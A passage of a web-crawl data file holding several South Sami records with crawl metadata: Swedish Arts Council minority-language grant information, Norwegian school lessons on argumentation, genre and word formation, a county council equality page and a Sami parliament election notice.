gïele.\nSiebrieh jih jeatjah åårganisasjovnh maehtieh dåarjegh Kultuvreraereste syökedh. Akte krïebpesje lea åårganisasjovnenommerem utnedh. Fierhten jaepien medtie 7,5 miljonh kråvnoeh dåarjeginie vadta darjomidie jih prosjektide mah edtjieh dej nasjovnelle unnebelåhkoej gïelide jih kultuvrh evtiedidh. Dejstie medtie 5 miljovnh kråvnoeh vadta darjomidie mejtie reerenasse eeremes tjuvhtjeme. Dah leah Tornedalsteatere, Sveerjensåevmien gärjagåetie Stuehkesne, Judiska Gärjagåetie Stuehkesne jih Uusi teatteri. Lissine aaj darjomedåarjegh vadta Romi kultuvrejarngese Malmö:sne.\nLissine dejtie darjomedåarjegidie Kultuvreraerie aaj prosjektedåarjegh joekede ovmessie prosjektide mej ulmie leah dej nasjovnelle unnebelåhkoej gïelide jih kultuvride evtiedidh.\nVoestesmieresne Kultuvreraerie barka noere- jih maanadarjomi gaavhtan jih aaj råajvarimmigujmie mah dej nasjovnelle unnebelåhkoej jïjtsh kultuvrestruktuvride nännoestieh. Dah prosjekth byöroeh jeatjah biehkiemaaksemem utnedh, eeremes tjïeltijste jallh\/jih laantedigkijste.\nProsjektedåarjegh maahta akten aejkien fierhtene jaepine syökedh. Syökemh dorje sveerjen gïelesne Kultuvreraerien webbesijjesne. Kultuvreraerien generaleåejvie syökemi bïjre nännoste raeriej mietie mah sjïere referensedåehkeste unnebelåhkoej gïelide, kultuvride jih lidteratuvrese.\nDåarjegh darjomidie jih prosjektide mah nasjovnelle unnebelåhkojde dijpieh maahta aaj syökedh dejstie Kultuvreraerien jeatja dåarjegijstie dej jïjtsh tjeahpoedajvi gaavhtan\nLohkh vielie dåarjegi bïjre mah nasjovnelle unnebelåhkoej gïelide jih kultuvride (sveerjen gïelesne)\nDåarjegh juktie nasjovnelle unnebelåhkoej lidteratuvride jih kultuvreplaeride bertedh\nKultuvreraerie aaj dåarjegh vadta dejtie mah unnebelåhkoej lidteratuvride jih kultuvreplaeride bertieh. Bertije man darjomem Sveerjesne åtna jih dejnie profesjovnelle vuekine giehteleminie, jallh saemien bertije man darjomh jeatja laantine Nordtene mohte Sveerjesne aaj profesjovnelle vuekine bertieminie, maahta lidteratuvredåarjegh syökedh. Profesjovnelle bertije lea dïhte man gärjanommh maehtebe gaavnedh v.t.g gärjagåetine, gärjah-åesiesijjine jih åehpies åesie-kaanaline. Profesjovnelle bertijh dïedtem utnieh ahte lidteratuvre misse dåarjegh syökoeh leah profesjovnelle dorjesuvveme jih aaj ahte latjkoe beetnegi bïjre gååvnese bertiji\/upphovsalmetji\/reakta-aajhteri gaskemsh.\nDåarjegh nasjovnelle unnebelåhkoej lidteratuvride maahta destie sïejhme lidteratuvredåarjegistie aaj syökedh maam lea lidteratuvride mah leah joe berteme.\nLissine maahta aaj dåarjegh syökedh dehtie dåarjegistie maam lea disse lidteratuvrese maam lea soejhkesjamme mohte ij annje berteme.\nDåarjegh nasjovnelle unnebelåhkoej kultuvreplaeride dååhkasjahta produksjovnedåarjegen tjirrh mij kultuvreplaeride. Dam dåarjegem maahta akten aejkien jaepesne syökedh.\nLohkh vielie lidteratuvredåarjegen bïjre (sveerjen gïelesne)\nLohkh vielie dåarjegen bïjre mij soejhkesjamme lidteratuvride (sveerjen gïelesne)\nLohkh vielie produksjovnedåarjegen bïjre mij kultuvreplaeride (sveerjen gïelesne)\nSeamma reaktah jih nuepieh\nSeammavierhtegeperspektijve lea vihkeles Kultuvreraaran jih abpe kultuvrejielemasse. Gosse dåarjegh joekedidh dle Kultuvreraerie edtja vaaksjodh juktie nyjsenh jih garmanäjjah seamma reaktah jih nuepieh åadtjoeh akten eensi kultuvrefaalaldahkesne meatan årrodh ektiedidh.\nKultuvrejielemem jaksedh\nKultuvreraerie dïedtem åtna barkedh guktie kultuvrem edtja jaksoes gaajhkide årrodh. Destie båata edtja dåarjedidh, ektiedidh jih kultuvrejielemem eevtjedh sijjen dïedtine barkedh juktie svihtjemeheaptoepolitihken vuepside jaksedh. Annje jeenjem gååvnese darjodh juktie jaksoes kultuvrejielemem gaajhkide åadtjodh .\nVïjhtebiehkie veasoejste\nMaanah jih noerh jeenjebe enn vïjhtebiehkie veasojste jih ulmiebarkoe lea gajhkh maanah jih noerh edtjieh nuepiem åadtjodh kultuvride jih aaj nuepiem åadtjoeh jïjtjh skaepiedidh. Tjeahpoe jih kultuvre böörieh maanide sïebredahken sïjse jih goerkesem vedtieh guktie veartene. Kultuvreraerien vuepsie lea maanaj perspektijvem bïejedh gajhkede biehkide darjomisnie. Maanaj perpektijve edtja soptsestallemisnie gååvnesidh dejgujmie mah dåarjegh syökoeh mohte aaj vuasahtallemisnie statistihken bïjre jih gosse maahtoeh gaavnedh. Kultuvreraerie meatan ovmessie ektiebarkojne, seminarinie jih konferansinie mah maanah- jih noerekultuvri bijre jih Kultuvreraerie aaj dotkemh dåerjede mah maanaj- jih noeri kultuvri bijre. Kultuvreraerien viehkiedåarjegh Skuvle mij skaepede edtja ektiebarkoem nännoestidh skuvlen jih dan professienelle kultuvrejielemen gaskemsh jih nuepie learohkidie vedtedh goerehtalledh kultuvren ovmessie vuekide jih haamojde. Skuvle mij skaepede säjhta aaj buerebe nuepide vedtedh learohki jijtse skaepiedämman.\nKultuvre rasti bijjelen\nGaskenasjovnelle gaskesh jih ektiebarkoe lea daerpies jis edtjebe joekehts kultuvrefaalaldahkem utnedh. Juktie dam gaskenasjovnelle ektiebarkoem nännoestidh, dovne EU:n sjisjneles jih bäjngolen, dle Kultuvreraerie dovne dåarjegh vadta jih strategijeles barka. Goh Sveerjen biehkine destie gaskonasjovnelle ektiebarkoste Culture Contact Point:ste dle Kultuvreraerie edtja EU:n politihkem jih darjomem kultuvredajvesne vaaksjodh jih dan bïjre bïevnesjidh. Kultuvreraerie sjiere dåarjegh åtna gaskenasjovnelle darjomasse; 2011 medtie 26 miljonh, mestie medtie 2 miljonh kråvnoeh gaskenasjovnelle lidteratuvreektiebarkose.\nMijjem gaskesadtedh\nStatens kulturråd\/Staaten kultuvreraerie\nBox 27215\n102 53 Stockholm\/Stuehkie\nTelefovne: 08-519 264 00\nFaakse: 08-519 264 99\nE-påste: firstname.lastname@example.org\nGussiesijje: Filmhuset, Borgvägen 1\nRihpes tijje: måanta-bearjadahke ts. 08.30-16.30","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/kulturradet.se\/sv\/Andra-sprak\/Sydsamiska\/","date":"2017-03-23T14:18:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218187113.46\/warc\/CC-MAIN-20170322212947-00159-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999886751,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999886751174927}","num_words":824,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ræhpas jïh tjeakoes argumentasjovne\nAarvoe-gyhtjelassh\nMen doh jeanatjommes gyhtjelassh mejtie digkedeminie, eah leah ajve aamhtesen bïjre. Gyhtjelasse mejtie dotkijh edtjieh åadtjodh pryövenasse-kreekh provhkedh jallh ij, dam hijvenlaakan vuesehte. Daate akte gyhtjelasse aarvoej jïh vuajnoej bïjre seamma jïjnje goh gyhtjelasse rïektesen bïjre. Dan åvteste tjoerh tjaeledh naemhtie guktie dovne åejjiem jïh vaajmoem doehtedh lohkijen luvnie. Datne tjoerh aaj ussjedammes jïh maehteles vååjnedh, guktie almetjh datnem goltelieh.\nGuktie tjeakoes argumentasjovnem vueptiestidh?\nArgumentasjovne mij åajvahkommes mijjen domtesh tsavtsa, tjeakoes jallh ovryöktesth argumentasjovne gohtjebe. Goh lohkijh dle ibie iktesth dejtie tjalmehth. Dan åvteste maahta geervebe årrodh tjeakoes argumentasjovnem laejhtehkslaakan dåastodh goh argumentasjovne mij lea ryöktesth. Gosse mijjieh dam ovryöktesth argumentasjovnem tjaalegisnie goerehtibie, dellie daejtie aatide vuartasjibie:\n- mah vuajnoeh jïh domtesh tjaelije åtnose vaalta\n- mah gïeleldh viehkie-dïrregh tjaelije nuhtjie juktie lohkijem tsevtsedh\n- maam tjaelije dorje juktie ussjedammes jïh maehteles vååjnedh\nLissie-lahtese: Retorihke jïh argumentasjovne\nJoe bijjelen göökte stoerretjuetie jaepiej mænngan doh båeries greekerh vïhtesjin guktie baakoeh, kråahpegïele jïh argumentasjovne goltelæjjide tsevtsiehtin. Daam daajroem dah öörnegen sijse bïejin, jïh retorihkem jallh learoem soptses-kåansten bïjre evtiedin. Ibie maehtieh jïejkedh greekerh lin tjiehpies vïhtesjæjjah, juktie jalhts jïjnjh orre meedijah leah båateme daej göökte stoerretjuetie jaepiej, goh gærja, tellefovne, raadijove, filmh , tv, gaskeviermie jïh sagke jienebh, dle tjoerebe ajve vihtiestidh doh jeanatjommes njoelkedassh dehtie tïjjeste annje lea faamosne.\nLogos, etos jïh patos\nGreekerh vïenhtin akte håalije sov goltelæjjah tsavtsa golmelaakan. Dah gåhtjoejin dejtie golme apellehammojde logos, etos jïh patos. Logos-appelle lea seamma goh ræhpas argumentasjovne, jïh lea aamhtese-argumeenti bïjre mejtie håalije buakta.\nEtos jïh patos leah appelle-hammoeh mah ånnetji tjeakoeslaakan åtnasuvvieh:\n- etos lea håalijen ussjedammesvoeten bïjre\n- patos lea domtesi bïjre mejtie håalije gååske sov goltelæjjaj luvnie jïh vuajnoej bïjre mejtie appellerede\nMaehtebe jiehtedh etos jïh patos tjåanghkan lea dïhte tjeakoes argumentasjovne.\nBaakoeh\nræhpas argumentasjovne\nåpen argumentasjon\naarvoe-gyhtjelasse\nverdispørsmål\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lytte til og vise åpenhet for andres argumentasjon og bruke relevante og saklige argumenter i diskusjoner\n- bruke kunnskap om retoriske appellformer i presentasjoner\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- gjøre rede for argumentasjonen i andres tekster og skrive egne argumenterende tekster","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/172898?fag=126960","date":"2017-03-30T04:53:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00320-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999396801,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999396800994873}","num_words":366,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kapihtelen bïjre\nSaemien-gïelesne mijjieh gellie nuepieh utnebe baakoeh seerkedh, orre baakoeh darjodh goh seerkeme-baakoeh. Seerkeme-baakoej leah joekehth seerkeme-gietjieh mah vielie bïevnesh maadth-baakojde lissiehtieh juktie orre baakoeh sjidtieh.\nUlmie learoe-soejkesjistie:\nGïele, kultuvre jïh lidteratuvre\nLïerehtimmien ulmie lea\n- baakoeseerkemh nuhtjedh jïh buerkiestidh guktie orre baakoeh jïh teermh saemien gïelesne evtiesuvvieh, jïh guktie löönemebaakoeh sjïehtedamme sjidtieh\nDaennie boelhkesne datne daan bïjre lïerh:\n- Guktie saemien-gïelen vuekiej mietie baakoeh seerkedh\n- Guktie seerkeme-baakoeh joekehth baakoe-dåehkine\n- Guktie dah ovmessie seerkeme-gietjieh jïh dah tjoeje-målsomh\n- Guarkedh guktie orre seerkeme-baakoeh darjodh\n- Lööneme-baakoeh, guktie dejtie sjïehtedidh jïh tjaeledh\nGuktie kapihtele öörneme\nKapihtelisnie göökte learoe-baalkah, jïh lissine laavenjassh.\n- Learoe-baalka: Guktie substantijvh jïh adjektijvh seerkedh\n- Learoe-baalka: Guktie verbh seerkedh\n- Laavenjassh\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/170791?fag=126960","date":"2017-03-30T05:00:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00390-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000065565109253}","num_words":114,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sjangere-pleenteme\nGosse mijjieh tjaelebe dellie maehtebe sjangerh pleentedh, daam vuekiem gåhtjobe sjangere-pleenteminie. Men tjoerebe mujhtedh jis ibie sjangere-njoelkedassi mietie tjaelieh dellie ij lohkije daarpesjh tjaalegem guarkedh.\nSjangere-njoelkedassh jïh sjangere-maahtoe mijjem viehkiehtieh tjaalegem verkebe guarkedh jïh aajkoen mietie toelhkestidh. Gosse mijjieh tjaalegem lohkebe jallh govlebe gusnie sjangerh pleenteme, dellie mijjieh maehtebe læjhkan dam guarkedh. Mijjese aelhkebe sjangerh damtijidh dan gaavhtan mijjieh aarebistie gellie sjangerh damtebe.\nTjaalege jïh guvvie\nSjangere-tsööpkeme\nNaan aejkien nåake gåarede gosse ibie sjangere-njoelkedassi mietie tjaelieh. Akte lohkije nov gujht daajra guktie akte sjangere. Jis ibie sjangere-njoelkedassi mietie tjaelieh dellie kaanne lohkije ij daejrieh guktie edtja tjaalegem guarkedh. Dellie maehtebe lohkijem gïepedehtedh, jïh dellie lohkije ij kanne guarkah maam mijjieh tjaaleme jallh ij mijjem jaehkieh gænnah.\nSjangere mijjem viehkehte tjaalegem bigkedh. Jis datne edtjh barkoem syökedh, dellie tjoerh barkoe-ohtsemem tjaeledh. Dellie ih maehtieh persovneles prieviem tjaeledh. Dïhte guhte dov barkoe-ohtsemem åådtje, gujht veanhtede datne ohtsemem tjaalah sjangeren njoelkedassi mietie.\nsjangere-tsööpkeme\nsjangerbrudd\nohtseme\nsøknad","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/159840?fag=126960","date":"2017-03-28T04:50:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189667.42\/warc\/CC-MAIN-20170322212949-00175-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999994158744812}","num_words":154,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.039,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ektie-bïejeme tjaalegi bïjre\nGosse edtjebe ektie-bïejeme tjaalegem tjaeledh dellie jienebh joekehts soptsestimmie-vuekieh nuhtjebe. Jis edtjebe musihke-videoem darjodh dellie mijjieh dovne musihkem, baakoeh, guvvieh jïh daanhtsoem utnebe. Doh ovmessie soptsestimmie-vuekieh aktem elliesvoetem sjugniedieh. Akte vihkeles fåantoe man åvteste mijjieh ektie-bïejeme tjaalegh darjobe, lea doh ovmessie soptsestimmie-vuekieh ovmessie funksjovnh utnieh. Akte guvvie maahta vuesiehtidh guktie akte almetje vååjnoe, mearan baakoeh maehtieh soptsestidh almetjen nommem, man båeries lea jïh man åvteste guvvie destie. Gosse edtjebe ektie-bïejeme tjaalegh darjodh dellie vihkele mijjieh daejrebe guktie maehtebe joekehts soptsestimmieh nuhtjedh. Daennie kapihtelisnie dovne faage-sæjroe jïh learoe-baalka.\nGuvvie-raajroe\nGuvvie-raajroe akte sjangere gusnie dovne guvvieh jïh teekstem nuhtjebe juktie vaajesem soptsestidh. Gååvnese aaj naan gille guvvie-raajroeh gusnie ajve guvvieh.\nKahpihtelen sisvege\nDaennie kapihtelisnie faage-sæjroeh jïh laavenjassh, lissine akte learoe-baalka:\n- Guvvie-raajroe\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/175146?fag=126960","date":"2017-03-30T04:44:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00592-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999916553,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999916553497314}","num_words":129,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Oppgave: Drøfte\nRæhpas argumentasjovne: Faage-dïejvesidie maahtah?\nDaennie sæjrosne gyhtjelassh abpe kapihtelasse \"Argumentasjovne\". Jis maahtah gaajhkide gyhtjelasside vaestiedidh dellie datne hijvenlaakan kapihtelinie barkeme!\nLaavenjasse\nIktedimmie-gyhtjelassh\nDaajrah vaestiedasse dejtie gyhtjelasside vuelielisnie? Jis maahtah dellie datne hijvenlaakan barkeme kapihtelinie argumentasjovnen bïjre!\n- Mij sæjhta jiehtedh argumenteradidh?\n- Buerkesth dïejvesidie veanhtoe, argumeente jïh premisse.\n- Mah golme krïevenassh byörebe bïejedh akten rïektese-argumeentese?\n- Mijjieh joekehtibie ræhpas jïh tjeakoes argumentasjovnen gaskem. Mij joekehtse dej göökte argumentasjovne-hammoej gaskem?\n- Retorihkesne jallh soptsestimmie-kåanstesne nuhtjebe dïejvesidie etos, logos jïh patos\nsijjeste ræhpas jïh tjeakoes argumentasjovne.\na. Mij lea sisvege dejnie golme dïejvesinie?\nb. Mij dïejvesidie lea seamma goh ræhpas argumentasjovne?\nc. Mah dïejvesh leah seamma goh tjeakoes argumentasjovne?\n- Gosse logiske sjæjsjalimmieh vaeltebe dellie premissh bæjjese bïejebe jïh konklusjovnh darjobe våaroemisnie dejstie. Vedtieh aktem vuesiehtimmiem daejtie:\na. akte hijven logiske sjæjsjalimmie\nb. akte nåake logiske sjæjsjalimmie","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/173061?fag=126960","date":"2017-04-29T19:43:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123560.51\/warc\/CC-MAIN-20170423031203-00043-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999015331,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999901533126831}","num_words":132,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ulmie lea maahta lïenen otnegidie faeledh mïrrestalleme jïh seammavyörtegsvoeten otnegehoksehtimmiem buerie kvalitetine. Barkoeh mah laantedigkie dorje edtja mïrrestallemem jïh seammavyörtegsvoetem gorredidh. Laantedigkiesoejkesjisnie, mij lea aktem laantedikgien stuvreme tjaatsegijstie, dah ulmieh gååvnesieh:\nDej ulmiejgujmie aaj dah darjomh dåeriedieh:\nJïnjebh laantedigkien barkoen bïjre gellielaaketjebarkoegyhjtelassigujmie maahtah lohkedh bijjiebaakoej nualan menyesne garrah- jallh åelkiesbielesne.\nMïrrestallemeintegrereme lea barkoevuekie mij eelki Sveerjesne joe jaepien 1972 gosse staateministere Olof Palme tseegki Delegation för jämnställdhet mellan kvinnor och män. Direktijvinie delegasjovnese dellie tjïelkesi barkoem mïrrestalleminie idtji edtjh isoleremes vuekine barkedh. Jïjnjebe tjïelkesin EN:n njealjeden nyjsenæjjakonferansen mænngan Pekingisnie jaepien 1995 gusnie göökte tjaatsegidie tjeelin aktem daejstie lij Platform for Action mij tjïelkesi mïrrestallemeperspektijvem edtja gaajhkh sjæjsjelimmieh sïebredahkesne klaeriedidh. Sveerje lea dej raajesi nualan tjaaleme.\nDïhte vuekie mij Sveerje edtja utnedh gosse mïrrestallemine barkedh lea mïrrestallemeintegrereme. Dåarjoe dïsse laantedigkien barkose lea laantedigkeståvroe nualan tjaaleme Den europeiska deklarationen för jämtälldhet mellan kvinnor och män på lokal och regional nivå. Deklarasjovne lea hijven dåarjoe barkosne mïrrestalleme otnegehoksehtimmiem jaksedh.\nMïrrestalleme lea dan bïjre gaajhki almetji seamma vierhtie. Saaht gie datne leah jïh mij histovrije dov leah. Jïemhten lïenen laantedigkiem laantedigkiesoejkesjen mietie stuvrieh maam politihkerh fïerhten jaepien sjæjsjalieh. Dan sisnie ulmieh gååvnesieh mejtie edtjieh tjïrrehtidh. Gosse mïrrestalleme hoksen bïjre dah ulmieh gååvnesieh mah dan nualan tjaaleme:\nBarkoe lea bieliem barkojste darjoeevtiedimmine mij mïrrestalleme- jïh gellielaaketjeperspektijvine barkedh. Dåarjoe dïsse barkose lea laantedigkien nualan tjaaleme Den Europeiska deklarationen för jämställdhet mellan kvinnor och män på lokal och regional nivå.\nJïemhten lïene lea åarjelsaemiengïelen reeremedajve Laake (2009:724) nasjovnellen unnebelåhkoeh jïh unnebelåhkoejgïeli bïjre mietie. Reereme lea aaj nasjovnellen strategijinie barkeme guktie barkojne dejtie nasjovnellen unnebelåhkojde nænnostidh galka laantesne årrodh. Jïemhten lïenen laantedigkie lea raeriestimmien mænngan saemiesïjtine jïh saemiesaervine sjæjsjali voestes barkoem darjodh åarjelsaemiengïelen åtnoem nænnoestidh. Voestesïereste dellie sjædta barkosne orre gåetiesæjrojne mij tjaktjen 2010 båata. Tjaktjen 2010 dellie åarjelsaemiengïelese jarkoestidh.\nDah almetji reaktah lea våaroemisnie gaajhkide barkojde mejtie Jïemhten lïenen laantedigkie berkieh. Barkoe polisyjine Mångfald som utvecklingskraft jåhta jïh laantedigkien mïelem tjïelkese denne gyhtjelassine. Barkoe almetji reaktajgujmie dan mænngan båata barkoe sierredimmien vööste. Dejgujmie barka dovne barkiji- jïh barkoevedtijigyhtjelassigujmie, mohte aaj darjoeperspektijveste jïh dellie joekoen gosse barkojne mïrrestalleme- jïh seammavyörtegsvoete otnegehoksehtimmine barka.\nJïemhten lïenen laantedigkie barka njåvtasovveme lïhke relasjovnesne vööste mij gohtje Ett hållbart omtag. Barkoe lea ektesne Den europeiska deklarationen för jämställdhet mellan kvinnor och män på lokal och regional nivå. Dejnie dovne interneles jïh eksterneles barka. Laantedigkiedirektööre Karin Strandberg Nöjd lea ståvroedåhkien meatan mij lea lïenedaltesisnie gusnie aaj lïeneåvtehke Britt Bohlin, lïenepolijsemïestere Stephen Jerhard jïh tjïeltesaervien Lena Hallqvist leah meatan.\nLaantedigkien fokuse lea dovne hammoeh jïh struktuvrh gïehteldidh dejtie dåarjodh gieh njåvtasåvva, jïh sjïerebarkoedåehkieh ööhpehtidh identifieredh jïh dejtie dåarjodh gieh njåvtasåvva jïh aktijveles barkoebyjresebarkoem darjodh guktie laantedigkien barkijh gieh lïhke relasjovnine njåvtasuvvieh dam dåarjoem mah daarpesjieh åadtjodh.\nNjåvtasovveme lïhke relasjovnine lea Jïemhten lïenen laantedigkien mïelen mietie gaajhkh njåvtasovvemh maam lïhke relasjovnine deahpade, jïh nyjsenæjjah, kaarrh jïh maanah maehtieh njåvtasovvedh. Maahta partnere gie tsealhkehte, geerve maana mij sov eejhtegh irhkie, slïekte jallh jeatjah gie lea definisjovnesne lïhke. Njåvtasovveme maahta dovne fysisken jallh psykisken årrodh.\nJis datne sïjhth jïjnjebh daejredh Jïemhten lïenen barkoen bïjre dej gyhtjelassigujmie? Bieljelh Anna Ebenmark, gellielaaketjestratege, telefovne: 063-14 76 32, 070-259 02 55 jallh e-påastine: email@example.com\nSidansvarig:Gun Råberg Kjellerstrand, tel: +4663147737, e-post: firstname.lastname@example.org.\nHittar du fel eller har synpunkter på innehållet, meddela\nSenast uppdaterad 2012-10-22.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/jll.se\/omoss\/informationpaandrasprak\/aarjelsaemiesame\/laantedigkiengellielaaketjebarkoelandstingetsmangfaldsarbete.4.60018e7312debfe732b80009615.html","date":"2017-04-28T19:54:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123048.37\/warc\/CC-MAIN-20170423031203-00562-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999114275,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999114274978638}","num_words":518,"character_repetition_ratio":0.076,"word_repetition_ratio":0.02,"special_characters_ratio":0.141,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fïerhten njealjeden jaepien saemiedigkieveeljeme Nöörjesne. Gaajhkh saemieh mah leah registreradamme Saemiedigkien veeljemelåhkosne steemmereaktam utnieh. Datne maahtah jïjtjemdh veeljemelåhkoen sïjse tjaeledh saaht gåessie, men ihke datne edtjh steemmereaktam utnedh saemiedigkieveeljemisnie 2017, dov sïjsebïeljelimmie tjuara båetedh Saemiedægkan ruffien 30.b. 2017 åvtelen.\nHva lette du etter? Din tilbakemelding hjelper oss ålage bedre nettsider.","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/saemiedigkie.no\/Veeljeme","date":"2017-04-29T17:21:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123549.87\/warc\/CC-MAIN-20170423031203-00045-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.999961853,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999618530273438}","num_words":48,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daesnie bïevnesh båerieshoksemen bïjre gaavnh jïh dåarjoen bïjre gosse måedtie viehkiem daarpesjh. Maahtah lohkedh magkere viehkiem åadtjodh ekonomijen jïh fuelhkiej lïhkesadtji bïjre, alkohovle- jïh daalhkese otnehtallen jïh daaresjimmien bïjre. Aaj bïevnesh gaavnh adopsjovnen bïjre, jïh guktie aehtjine, jis lïhkesadtje jïh dåarjoem daarpesjh otnegen pruvredh jïh gosse juvledh.\nKontakta oss\nHar du tekniska frågor eller vill kommentera informationen på sidan så kan du kontakta webbredaktionen. Klicka här!","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/krokom.se\/sma-SE\/omsorgochhjalp.3117.html","date":"2017-04-29T19:23:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123560.51\/warc\/CC-MAIN-20170423031203-00414-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":66,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.197,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh - Ektie-bïejeme tjaalegh\nDaennie sæjrosne laavenjassh faage-sæjrojde \"Ektie-bïejeme tjaalegh\".\n1. laavenjasse\n- Mij akte ektie-bïejeme tjaalege?\n- Neebnh såemies ektie-bïejeme tjaalegh, jïh tjïelkesth mah soptsestimmie-vuekieh mah leah aktanamme daejnie tjaaleginie.\n- Man åvteste nuhtjebe ektie-bïejeme tjaalegh?\n- Maam guvvieh maehtieh goh tjaaleldh teekste ij maehtieh - jïh båastolen?\n- Mah soptsestimmie-vuekieh jeenjemes mijjen domtesh gåaskoeh?\n2. laavenjasse\nDaesnie aktem ektie-bïejeme tjaalegem vuajnah maam dagke damtijh stoerre plakaatijste geajnoej mietie. Teekstesne akte stoerre fotografije, akte tjaaleldh guvvie jïh akte grafihkeles logo. Gïehtjh dejtie golme soptsestimmie-vuekide mejstie daate plakaate lea tjåanghkan bïejesovveme.\n- Mij aajkoe daejnie plakaatine?\n- Mij jeahtasåvva viehkine fotografijeste?\n- Mij jeahtasåvva dan tjaaleldh teeksten tjïrrh?\n- Mij jeahtasåvva logoen tjïrrh?\n- Man åvteste vïenhth fotografije dan stoerre sijjiem åådtjeme? Akte vihties biehkie guvvesne aktem metaforiske lissie-ulmiem åådtje dïjren gaavhtan. Datne vueptiestamme mij lea? (Tipse: kråahpe-bielie)\n- Maahtah naan jeatjah åssjelidie ussjedidh mejtie lij gåaradamme daam guvviem nuhtjedh?\n- Mah jienebh soptsestimmie-vuekieh lih sïjhteme nuhtjedh lissine? Vedtieh vuesiehtimmieh.\n3. laavenjasse\n- Bietskedh guvvieh jïh bijjie-tjaalegh plaerijste jïh våhkoe-plaerijste, jallh jieniedehtieh guvvieh jïh bijjie-tjaalegh nedte-plaerijste. Darjoeh orre bijjie-tjaalegh guvvide mah 